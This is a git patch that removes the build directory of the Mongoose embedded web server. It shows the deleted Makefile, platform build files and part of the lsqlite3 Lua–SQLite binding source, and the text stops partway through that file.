From c0af018e205a08618ed91367c0e783afcea1f5c0 Mon Sep 17 00:00:00 2001 From: Sergey Lyubka Date: Wed, 15 Jan 2014 18:02:55 +0000 Subject: [PATCH] removed build dir --- build/Info.plist | 15 - build/Makefile | 173 - build/dll.def | 19 - build/jni/Android.mk | 12 - build/lsqlite3.c | 1883 - build/lua_5.2.1.c | 17698 --- build/lua_5.2.1.h | 1251 - build/main.c | 1138 - build/mongoose.ai | 589 - build/mongoose.icns | Bin 24726 -> 0 bytes build/mongoose_16x16.png | Bin 560 -> 0 bytes build/mongoose_16x16@2x.png | Bin 669 -> 0 bytes build/mongoose_22x22.png | Bin 743 -> 0 bytes build/mongoose_22x22@2x.png | Bin 872 -> 0 bytes build/mongoose_32x32.png | Bin 1052 -> 0 bytes build/mongoose_32x32@2x.png | Bin 1252 -> 0 bytes build/mongoose_64x64.png | Bin 2201 -> 0 bytes build/mongoose_64x64@2x.png | Bin 2529 -> 0 bytes build/res.rc | 1 - build/sqlite3.c | 140456 ------------------ build/sqlite3.h | 7245 - build/src/auth.c | 301 - build/src/cgi.c | 384 - build/src/core.c | 2832 - build/src/core.h | 91 - build/src/crypto.c | 196 - build/src/directory.c | 271 - build/src/http_client.c | 97 - build/src/internal.h | 458 - build/src/io.c | 187 - build/src/log.c | 44 - build/src/lua.c | 390 - build/src/mg_printf.c | 67 - build/src/mime.c | 99 - build/src/mongoose.c | 1420 - build/src/options.c | 56 - build/src/parse_date.c | 49 - build/src/parse_http.c | 63 - build/src/ssl.c | 178 - build/src/string.c | 423 - build/src/unix.c | 105 - build/src/upload.c | 140 - build/src/util.c | 30 - build/src/webdav.c | 61 - build/src/websocket.c | 309 - build/src/win32.c | 373 - build/ssl_cert.pem | 50 - build/systray.ico | Bin 16958 -> 0 bytes build/test/.leading.dot.txt | 1 - build/test/all_build_flags.pl | 39 - build/test/bad.cgi | 5 - build/test/bad2.cgi | 3 - build/test/dir with spaces/hello.cgi | 3 - build/test/dir with spaces/桌面/index.html | 1 - build/test/embed.c | 182 - build/test/env.cgi | 46 - build/test/exploit.pl | 69 - build/test/hello.cgi | 6 - build/test/hello.txt | 1 - build/test/new.mg.lua | 43 - build/test/page.lp | 67 - build/test/passfile | 3 - build/test/sh.cgi | 6 - build/test/test.pl | 436 - build/test/timeout.cgi | 12 - build/test/unit_test.c | 514 - build/test/x.php | 9 - 67 files changed, 180600 deletions(-) delete mode 100644 build/Info.plist delete mode 100644 build/Makefile delete mode 100644 build/dll.def delete mode 100644 build/jni/Android.mk delete mode 100644 build/lsqlite3.c delete mode 100644 build/lua_5.2.1.c delete mode 100644 build/lua_5.2.1.h delete mode 100644 build/main.c delete mode 100644 build/mongoose.ai delete mode 100644 build/mongoose.icns delete mode 100644 build/mongoose_16x16.png delete mode 100644 build/mongoose_16x16@2x.png delete mode 100644 build/mongoose_22x22.png delete mode 100644 build/mongoose_22x22@2x.png delete mode 100644 build/mongoose_32x32.png delete mode 100644 build/mongoose_32x32@2x.png delete mode 100644 build/mongoose_64x64.png delete mode 100644 build/mongoose_64x64@2x.png delete mode 100644 build/res.rc delete mode 100644 build/sqlite3.c delete mode 100644 build/sqlite3.h delete mode 100644 build/src/auth.c delete mode 100644 build/src/cgi.c delete mode 100644 build/src/core.c delete mode 100644 build/src/core.h delete mode 100644 build/src/crypto.c delete mode 100644 build/src/directory.c delete mode 100644 build/src/http_client.c delete mode 100644 build/src/internal.h delete mode 100644 build/src/io.c delete mode 100644 build/src/log.c delete mode 100644 build/src/lua.c delete mode 100644 build/src/mg_printf.c delete mode 100644 build/src/mime.c delete mode 100644 build/src/mongoose.c delete mode 100644 build/src/options.c delete mode 100644 build/src/parse_date.c delete mode 100644 build/src/parse_http.c delete mode 100644 build/src/ssl.c delete mode 100644 build/src/string.c delete mode 100644 build/src/unix.c delete mode 100644 build/src/upload.c delete mode 100644 build/src/util.c delete mode 100644 build/src/webdav.c delete mode 100644 build/src/websocket.c delete mode 100644 build/src/win32.c delete mode 100644 build/ssl_cert.pem delete mode 100644 build/systray.ico delete mode 100644 build/test/.leading.dot.txt delete mode 100644 build/test/all_build_flags.pl delete mode 100755 build/test/bad.cgi delete mode 100755 build/test/bad2.cgi delete mode 100755 build/test/dir with spaces/hello.cgi delete mode 100644 build/test/dir with spaces/桌面/index.html delete mode 100644 build/test/embed.c delete mode 100755 build/test/env.cgi delete mode 100644 build/test/exploit.pl delete mode 100755 build/test/hello.cgi delete mode 100644 build/test/hello.txt delete mode 100644 build/test/new.mg.lua delete mode 100644 build/test/page.lp delete mode 100644 build/test/passfile delete mode 100755 build/test/sh.cgi delete mode 100644 build/test/test.pl delete mode 100755 build/test/timeout.cgi delete mode 100644 build/test/unit_test.c delete mode 100644 build/test/x.php diff --git a/build/Info.plist b/build/Info.plist deleted file mode 100644 index 6c977fd2..00000000 --- a/build/Info.plist +++ /dev/null @@ -1,15 +0,0 @@ - - - - - CFBundleExecutable Mongoose - CFBundlePackageType APPL - CFBundleTypeRole None - CFBundleIconFile mongoose.icns - LSUIElement - RunAtLoad - Label com.kolkin.mongoose - ProgramArguments - KeepAlive - - diff --git a/build/Makefile b/build/Makefile deleted file mode 100644 index 5cfb4c0c..00000000 --- a/build/Makefile +++ /dev/null @@ -1,173 +0,0 @@ -# This Makefile is part of Mongoose web server project, -# https://github.com/valenok/mongoose -# -# This Makefile is GNU make compatible. You can get GNU Make from -# http://gnuwin32.sourceforge.net/packages/make.htm - -PROG = mongoose -EXE_SUFFIX = -CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I. -I.. $(CFLAGS_EXTRA) -VERSION = $(shell perl -lne \ - 'print $$1 if /define\s+MONGOOSE_VERSION\s+"(\S+)"/' ../mongoose.h) -WP = wordpress-private-1.3 -RM = rm -rf -VDIR = mongoose-$(VERSION) - -# Stock windows binary builds with Lua and YASSL library. -YASSL = ../../cyassl-2.4.6 -YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \ - -D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \ - -D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \ - -D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \ - -D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H -YASSL_SOURCES = \ - $(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \ - $(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \ - $(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \ - $(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \ - $(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \ - $(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \ - $(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \ - $(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \ - $(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \ - $(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \ - $(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \ - $(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \ - $(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \ - $(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \ - $(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \ - $(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c - -TINY_SOURCES = ../mongoose.c main.c -LUA_SOURCES = $(TINY_SOURCES) lua_5.2.1.c -LUA_SQLITE_SOURCES = $(LUA_SOURCES) sqlite3.c lsqlite3.c -BIG_SOURCES = $(TINY_SOURCES) lua_5.2.1.c sqlite3.c lsqlite3.c $(YASSL_SOURCES) - -SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \ - -DSQLITE_ENABLE_FTS3_PARENTHESIS -LUA_FLAGS = -DUSE_LUA -LUA_SQLITE_FLAGS = $(SQLITE_FLAGS) $(LUA_FLAGS) -DUSE_LUA_SQLITE3 -BIG_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \ - -DSQLITE_ENABLE_FTS3_PARENTHESIS \ - -DUSE_LUA -DUSE_LUA_SQLITE3 -DUSE_SSL -DUSE_CYASSL $(YASSL_FLAGS) - -# Using Visual Studio 6.0. To build Mongoose: -# Set MSVC variable below to where VS 6.0 is installed on your system -# Run "PATH_TO_VC6\bin\nmake windows" -MSVC = ../../vc6 -#DBG = /Zi /Od -DBG = /DNDEBUG /O1 $(CFLAGS_EXTRA) -CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /I$(MSVC)/include /I.. /I. -LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \ - user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib -LINK = $(MSVC)/bin/link $(LINK_FLAGS) - -ifeq ($(OS), Windows_NT) - EXE_SUFFIX = .exe - RM = del -else - UNAME_S := $(shell uname -s) - ifeq ($(UNAME_S), Linux) - CFLAGS += -ldl -lm - endif -endif - -all: mongoose$(EXE_SUFFIX) - -# Make sure that the compiler flags come last in the compilation string. -# If not so, this can break some on some Linux distros which use -# "-Wl,--as-needed" turned on by default in cc command. -# Also, this is turned in many other distros in static linkage builds. -$(PROG): $(TINY_SOURCES) - $(CC) $(TINY_SOURCES) -o $@ $(CFLAGS) - -$(PROG)-lua: $(TINY_SOURCES) $(LUA_SOURCES) - $(CC) $(LUA_SOURCES) -o $@ $(LUA_FLAGS) $(CFLAGS) - -$(PROG)-lua-sqlite: $(LUA_SQLITE_SOURCES) - $(CC) $(LUA_SQLITE_SOURCES) -o $@ $(LUA_SQLITE_FLAGS) $(CFLAGS) - -$(PROG)-lua-sqlite-ssl: $(BIG_SOURCES) - $(CC) $(BIG_SOURCES) -o $@ $(BIG_FLAGS) $(CFLAGS) - -$(PROG)-big: $(BIG_SOURCES) - $(CC) $(BIG_SOURCES) -o $@ $(CFLAGS) $(BIG_FLAGS) - -unix_unit_test: $(LUA_SOURCES) Makefile ./test/unit_test.c - $(CC) ./test/unit_test.c lua_5.2.1.c $(CFLAGS) -g -O0 -o t && ./t - -# Windows build -$(PROG)-lua-sqlite.exe: $(LUA_SQLITE_SOURCES) - $(MSVC)/bin/rc res.rc - $(CL) $(LUA_SQLITE_SOURCES) $(LUA_SQLITE_FLAGS) /link $(LINK_FLAGS) res.res /out:$@ - -$(PROG)-lua-sqlite-ssl.exe: $(BIG_SOURCES) - $(MSVC)/bin/rc res.rc - $(CL) $(BIG_SOURCES) $(BIG_FLAGS) /link $(LINK_FLAGS) res.res /out:$@ - -$(PROG)-lua.exe: $(LUA_SOURCES) - $(MSVC)/bin/rc res.rc - $(CL) $(LUA_SOURCES) $(LUA_FLAGS) /link $(LINK_FLAGS) res.res /out:$@ - -$(PROG).exe: $(TINY_SOURCES) - $(MSVC)/bin/rc res.rc - $(CL) $(TINY_SOURCES) /link $(LINK_FLAGS) res.res /out:$@ - -$(PROG).dll: $(TINY_SOURCES) Makefile - $(CL) ../mongoose.c /Gz /link $(LINK_FLAGS) /DLL /DEF:dll.def /out:$@ - -# This is broken now due to SSL exclusion -windows_unit_test.exe: ../mongoose.c Makefile - $(CL) ./test/unit_test.c lua_5.2.1.c \ - /link /libpath:$(MSVC)/lib advapi32.lib /out:$@ - ./$@ - -# MacOS build with Cocoa GUI -# For codesign to work in non-interactive mode, unlock login keychain: -# security unlock ~/Library/Keychains/login.keychain -# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html -macos: $(BIG_SOURCES) - DIR=dmg/Mongoose.app - rm -rf dmg - mkdir -p dmg/Mongoose.app/Contents/{MacOS,Resources} - install -m 644 *.icns *.png dmg/Mongoose.app/Contents/Resources/ - install -m 644 Info.plist dmg/Mongoose.app/Contents/ - $(CC) $(BIG_SOURCES) \ - -DUSE_COCOA $(CFLAGS) $(BIG_FLAGS) -mmacosx-version-min=10.4 \ - -framework Cocoa -ObjC -arch i386 -arch x86_64 \ - -o dmg/Mongoose.app/Contents/MacOS/Mongoose - ln -fs /Applications dmg/ - hdiutil create Mongoose-$(VERSION).dmg -volname "Mongoose $(VERSION)" \ - -srcfolder dmg -ov - #rm -rf dmg - -tests: - perl ./test/test.pl $(TEST) - -tarball: clean - rm -rf $(VDIR) - install -d $(VDIR) $(VDIR)/docs $(VDIR)/examples - install -m 644 ../{LICENSE,README.md,mongoose.[ch]} $(VDIR) - install -m 644 ../docs/*.md $(VDIR)/docs - install -m 644 ../examples/{Makefile,*.c} $(VDIR)/examples - tar -czf $(VDIR).tgz $(VDIR) - -release: tarball macos - wine make mongoose.exe mongoose-lua-sqlite-ssl.exe - upx mongoose.exe - upx mongoose-lua-sqlite-ssl.exe - cp mongoose.exe mongoose-$(VERSION).exe - cp mongoose-lua-sqlite-ssl.exe mongoose-lua-sqlite-ssl-$(VERSION).exe - cp mongoose-lua-sqlite-ssl.exe mongoose_php_bundle/mongoose.exe - zip -r mongoose-php-$(VERSION).zip mongoose_php_bundle/ - -wp: mongoose.exe - upx mongoose.exe - cp mongoose.exe $(WP)/ - zip -r $(WP).zip $(WP) - -clean: - @cd ../examples && $(MAKE) clean - @$(RM) *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \ - $(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \ - *.exe *dmg* $(PROG)-* unix_unit_test diff --git a/build/dll.def b/build/dll.def deleted file mode 100644 index fff667ef..00000000 --- a/build/dll.def +++ /dev/null @@ -1,19 +0,0 @@ -LIBRARY -EXPORTS - mg_start - mg_stop - mg_read - mg_write - mg_printf - mg_get_header - mg_get_var - mg_get_cookie - mg_get_option - mg_get_valid_option_names - mg_version - mg_modify_passwords_file - mg_md5 - mg_upload - mg_download - mg_send_file - mg_get_builtin_mime_type diff --git a/build/jni/Android.mk b/build/jni/Android.mk deleted file mode 100644 index 1d9d6d60..00000000 --- a/build/jni/Android.mk +++ /dev/null @@ -1,12 +0,0 @@ -LOCAL_PATH := $(call my-dir)/../.. -include $(CLEAR_VARS) - -# To build with lua support, uncomment two lines below: -#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c -#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'" - -LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT) -LOCAL_MODULE := mongoose -LOCAL_SRC_FILES := build/main.c mongoose.c $(LUA_SOURCES) - -include $(BUILD_EXECUTABLE) diff --git a/build/lsqlite3.c b/build/lsqlite3.c deleted file mode 100644 index 9ea5893e..00000000 --- a/build/lsqlite3.c +++ /dev/null @@ -1,1883 +0,0 @@ -/************************************************************************ -* lsqlite3 * -* Copyright (C) 2002-2007 Tiago Dionizio, Doug Currie * -* All rights reserved. * -* Author : Tiago Dionizio * -* Author : Doug Currie * -* Library : lsqlite3 - a SQLite 3 database binding for Lua 5 * -* * -* Permission is hereby granted, free of charge, to any person obtaining * -* a copy of this software and associated documentation files (the * -* "Software"), to deal in the Software without restriction, including * -* without limitation the rights to use, copy, modify, merge, publish, * -* distribute, sublicense, and/or sell copies of the Software, and to * -* permit persons to whom the Software is furnished to do so, subject to * -* the following conditions: * -* * -* The above copyright notice and this permission notice shall be * -* included in all copies or substantial portions of the Software. * -* * -* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * -* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * -* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.* -* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * -* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * -* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * -* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * -************************************************************************/ - -#include -#include -#include - -#define LUA_LIB -#include "lua_5.2.1.h" -#include "sqlite3.h" - -/* compile time features */ -#if !defined(SQLITE_OMIT_PROGRESS_CALLBACK) - #define SQLITE_OMIT_PROGRESS_CALLBACK 0 -#endif - -typedef struct sdb sdb; -typedef struct sdb_vm sdb_vm; -typedef struct sdb_func sdb_func; - -/* to use as C user data so i know what function sqlite is calling */ -struct sdb_func { - /* references to associated lua values */ - int fn_step; - int fn_finalize; - int udata; - - sdb *db; - char aggregate; - - sdb_func *next; -}; - -/* information about database */ -struct sdb { - /* associated lua state */ - lua_State *L; - /* sqlite database handle */ - sqlite3 *db; - - /* sql functions stack usage */ - sdb_func *func; /* top SQL function being called */ - - /* references */ - int busy_cb; /* busy callback */ - int busy_udata; - - int progress_cb; /* progress handler */ - int progress_udata; - - int trace_cb; /* trace callback */ - int trace_udata; -}; - -static const char *sqlite_meta = ":sqlite3"; -static const char *sqlite_vm_meta = ":sqlite3:vm"; -static const char *sqlite_ctx_meta = ":sqlite3:ctx"; -static int sqlite_ctx_meta_ref; - -/* -** ======================================================= -** Database Virtual Machine Operations -** ======================================================= -*/ - -static void vm_push_column(lua_State *L, sqlite3_stmt *vm, int idx) { - switch (sqlite3_column_type(vm, idx)) { - case SQLITE_INTEGER: - { - sqlite_int64 i64 = sqlite3_column_int64(vm, idx); - lua_Number n = (lua_Number)i64; - if (n == i64) - lua_pushnumber(L, n); - else - lua_pushlstring(L, (const char*)sqlite3_column_text(vm, idx), sqlite3_column_bytes(vm, idx)); - } - break; - case SQLITE_FLOAT: - lua_pushnumber(L, sqlite3_column_double(vm, idx)); - break; - case SQLITE_TEXT: - lua_pushlstring(L, (const char*)sqlite3_column_text(vm, idx), sqlite3_column_bytes(vm, idx)); - break; - case SQLITE_BLOB: - lua_pushlstring(L, sqlite3_column_blob(vm, idx), sqlite3_column_bytes(vm, idx)); - break; - case SQLITE_NULL: - lua_pushnil(L); - break; - default: - lua_pushnil(L); - break; - } -} - -/* virtual machine information */ -struct sdb_vm { - sdb *db; /* associated database handle */ - sqlite3_stmt *vm; /* virtual machine */ - - /* sqlite3_step info */ - int columns; /* number of columns in result */ - char has_values; /* true when step succeeds */ - - char temp; /* temporary vm used in db:rows */ -}; - -/* called with sql text on the lua stack */ -static sdb_vm *newvm(lua_State *L, sdb *db) { - sdb_vm *svm = (sdb_vm*)lua_newuserdata(L, sizeof(sdb_vm)); - - luaL_getmetatable(L, sqlite_vm_meta); - lua_setmetatable(L, -2); /* set metatable */ - - svm->db = db; - svm->columns = 0; - svm->has_values = 0; - svm->vm = NULL; - svm->temp = 0; - - /* add an entry on the database table: svm -> sql text */ - lua_pushlightuserdata(L, db); - lua_rawget(L, LUA_REGISTRYINDEX); - lua_pushlightuserdata(L, svm); - lua_pushvalue(L, -4); /* the sql text */ - lua_rawset(L, -3); - lua_pop(L, 1); - - return svm; -} - -static int cleanupvm(lua_State *L, sdb_vm *svm) { - /* remove entry in database table - no harm if not present in the table */ - lua_pushlightuserdata(L, svm->db); - lua_rawget(L, LUA_REGISTRYINDEX); - lua_pushlightuserdata(L, svm); - lua_pushnil(L); - lua_rawset(L, -3); - lua_pop(L, 1); - - svm->columns = 0; - svm->has_values = 0; - - if (!svm->vm) return 0; - - lua_pushnumber(L, sqlite3_finalize(svm->vm)); - svm->vm = NULL; - return 1; -} - -static int stepvm(lua_State *L, sdb_vm *svm) { - int result; - int loop_limit = 3; - while ( loop_limit-- ) { - result = sqlite3_step(svm->vm); - if ( result==SQLITE_ERROR ) { - result = sqlite3_reset (svm->vm); - } - if ( result==SQLITE_SCHEMA ) { - sqlite3_stmt *vn; - const char *sql; - /* recover sql text */ - lua_pushlightuserdata(L, svm->db); - lua_rawget(L, LUA_REGISTRYINDEX); - lua_pushlightuserdata(L, svm); - lua_rawget(L, -2); /* sql text */ - sql = luaL_checkstring(L, -1); - /* re-prepare */ - result = sqlite3_prepare(svm->db->db, sql, -1, &vn, NULL); - if (result != SQLITE_OK) break; - sqlite3_transfer_bindings(svm->vm, vn); - sqlite3_finalize(svm->vm); - svm->vm = vn; - lua_pop(L,2); - } else { - break; - } - } - return result; -} - -static sdb_vm *lsqlite_getvm(lua_State *L, int index) { - sdb_vm *svm = (sdb_vm*)luaL_checkudata(L, index, sqlite_vm_meta); - if (svm == NULL) luaL_argerror(L, index, "bad sqlite virtual machine"); - return svm; -} - -static sdb_vm *lsqlite_checkvm(lua_State *L, int index) { - sdb_vm *svm = lsqlite_getvm(L, index); - if (svm->vm == NULL) luaL_argerror(L, index, "attempt to use closed sqlite virtual machine"); - return svm; -} - -static int dbvm_isopen(lua_State *L) { - sdb_vm *svm = lsqlite_getvm(L, 1); - lua_pushboolean(L, svm->vm != NULL ? 1 : 0); - return 1; -} - -static int dbvm_tostring(lua_State *L) { - char buff[39]; - sdb_vm *svm = lsqlite_getvm(L, 1); - if (svm->vm == NULL) - strcpy(buff, "closed"); - else - sprintf(buff, "%p", svm); - lua_pushfstring(L, "sqlite virtual machine (%s)", buff); - return 1; -} - -static int dbvm_gc(lua_State *L) { - sdb_vm *svm = lsqlite_getvm(L, 1); - if (svm->vm != NULL) /* ignore closed vms */ - cleanupvm(L, svm); - return 0; -} - -static int dbvm_step(lua_State *L) { - int result; - sdb_vm *svm = lsqlite_checkvm(L, 1); - - result = stepvm(L, svm); - svm->has_values = result == SQLITE_ROW ? 1 : 0; - svm->columns = sqlite3_data_count(svm->vm); - - lua_pushnumber(L, result); - return 1; -} - -static int dbvm_finalize(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - return cleanupvm(L, svm); -} - -static int dbvm_reset(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_reset(svm->vm); - lua_pushnumber(L, sqlite3_errcode(svm->db->db)); - return 1; -} - -static void dbvm_check_contents(lua_State *L, sdb_vm *svm) { - if (!svm->has_values) { - luaL_error(L, "misuse of function"); - } -} - -static void dbvm_check_index(lua_State *L, sdb_vm *svm, int index) { - if (index < 0 || index >= svm->columns) { - luaL_error(L, "index out of range [0..%d]", svm->columns - 1); - } -} - -static void dbvm_check_bind_index(lua_State *L, sdb_vm *svm, int index) { - if (index < 1 || index > sqlite3_bind_parameter_count(svm->vm)) { - luaL_error(L, "bind index out of range [1..%d]", sqlite3_bind_parameter_count(svm->vm)); - } -} - -/* -** ======================================================= -** Virtual Machine - generic info -** ======================================================= -*/ -static int dbvm_columns(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - lua_pushnumber(L, sqlite3_column_count(svm->vm)); - return 1; -} - -/* -** ======================================================= -** Virtual Machine - getters -** ======================================================= -*/ - -static int dbvm_get_value(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - int index = luaL_checkint(L, 2); - dbvm_check_contents(L, svm); - dbvm_check_index(L, svm, index); - vm_push_column(L, svm->vm, index); - return 1; -} - -static int dbvm_get_name(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - int index = luaL_checknumber(L, 2); - dbvm_check_index(L, svm, index); - lua_pushstring(L, sqlite3_column_name(svm->vm, index)); - return 1; -} - -static int dbvm_get_type(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - int index = luaL_checknumber(L, 2); - dbvm_check_index(L, svm, index); - lua_pushstring(L, sqlite3_column_decltype(svm->vm, index)); - return 1; -} - -static int dbvm_get_values(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = svm->columns; - int n; - dbvm_check_contents(L, svm); - - lua_newtable(L); - for (n = 0; n < columns;) { - vm_push_column(L, vm, n++); - lua_rawseti(L, -2, n); - } - return 1; -} - -static int dbvm_get_names(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */ - int n; - - lua_newtable(L); - for (n = 0; n < columns;) { - lua_pushstring(L, sqlite3_column_name(vm, n++)); - lua_rawseti(L, -2, n); - } - return 1; -} - -static int dbvm_get_types(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */ - int n; - - lua_newtable(L); - for (n = 0; n < columns;) { - lua_pushstring(L, sqlite3_column_decltype(vm, n++)); - lua_rawseti(L, -2, n); - } - return 1; -} - -static int dbvm_get_uvalues(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = svm->columns; - int n; - dbvm_check_contents(L, svm); - - lua_checkstack(L, columns); - for (n = 0; n < columns; ++n) - vm_push_column(L, vm, n); - return columns; -} - -static int dbvm_get_unames(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */ - int n; - - lua_checkstack(L, columns); - for (n = 0; n < columns; ++n) - lua_pushstring(L, sqlite3_column_name(vm, n)); - return columns; -} - -static int dbvm_get_utypes(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */ - int n; - - lua_checkstack(L, columns); - for (n = 0; n < columns; ++n) - lua_pushstring(L, sqlite3_column_decltype(vm, n)); - return columns; -} - -static int dbvm_get_named_values(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = svm->columns; - int n; - dbvm_check_contents(L, svm); - - lua_newtable(L); - for (n = 0; n < columns; ++n) { - lua_pushstring(L, sqlite3_column_name(vm, n)); - vm_push_column(L, vm, n); - lua_rawset(L, -3); - } - return 1; -} - -static int dbvm_get_named_types(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int columns = sqlite3_column_count(vm); - int n; - - lua_newtable(L); - for (n = 0; n < columns; ++n) { - lua_pushstring(L, sqlite3_column_name(vm, n)); - lua_pushstring(L, sqlite3_column_decltype(vm, n)); - lua_rawset(L, -3); - } - return 1; -} - -/* -** ======================================================= -** Virtual Machine - Bind -** ======================================================= -*/ - -static int dbvm_bind_index(lua_State *L, sqlite3_stmt *vm, int index, int lindex) { - switch (lua_type(L, lindex)) { - case LUA_TSTRING: - return sqlite3_bind_text(vm, index, lua_tostring(L, lindex), lua_strlen(L, lindex), SQLITE_TRANSIENT); - case LUA_TNUMBER: - return sqlite3_bind_double(vm, index, lua_tonumber(L, lindex)); - case LUA_TBOOLEAN: - return sqlite3_bind_int(vm, index, lua_toboolean(L, lindex) ? 1 : 0); - case LUA_TNONE: - case LUA_TNIL: - return sqlite3_bind_null(vm, index); - default: - luaL_error(L, "index (%d) - invalid data type for bind (%s)", index, lua_typename(L, lua_type(L, lindex))); - return SQLITE_MISUSE; /*!*/ - } -} - - -static int dbvm_bind_parameter_count(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - lua_pushnumber(L, sqlite3_bind_parameter_count(svm->vm)); - return 1; -} - -static int dbvm_bind_parameter_name(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - int index = luaL_checknumber(L, 2); - dbvm_check_bind_index(L, svm, index); - lua_pushstring(L, sqlite3_bind_parameter_name(svm->vm, index)); - return 1; -} - -static int dbvm_bind(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int index = luaL_checkint(L, 2); - int result; - - dbvm_check_bind_index(L, svm, index); - result = dbvm_bind_index(L, vm, index, 3); - - lua_pushnumber(L, result); - return 1; -} - -static int dbvm_bind_blob(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - int index = luaL_checkint(L, 2); - const char *value = luaL_checkstring(L, 3); - int len = lua_strlen(L, 3); - - lua_pushnumber(L, sqlite3_bind_blob(svm->vm, index, value, len, SQLITE_TRANSIENT)); - return 1; -} - -static int dbvm_bind_values(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int top = lua_gettop(L); - int result, n; - - if (top - 1 != sqlite3_bind_parameter_count(vm)) - luaL_error(L, - "incorrect number of parameters to bind (%d given, %d to bind)", - top - 1, - sqlite3_bind_parameter_count(vm) - ); - - for (n = 2; n <= top; ++n) { - if ((result = dbvm_bind_index(L, vm, n - 1, n)) != SQLITE_OK) { - lua_pushnumber(L, result); - return 1; - } - } - - lua_pushnumber(L, SQLITE_OK); - return 1; -} - -static int dbvm_bind_names(lua_State *L) { - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm = svm->vm; - int count = sqlite3_bind_parameter_count(vm); - const char *name; - int result, n; - luaL_checktype(L, 2, LUA_TTABLE); - - for (n = 1; n <= count; ++n) { - name = 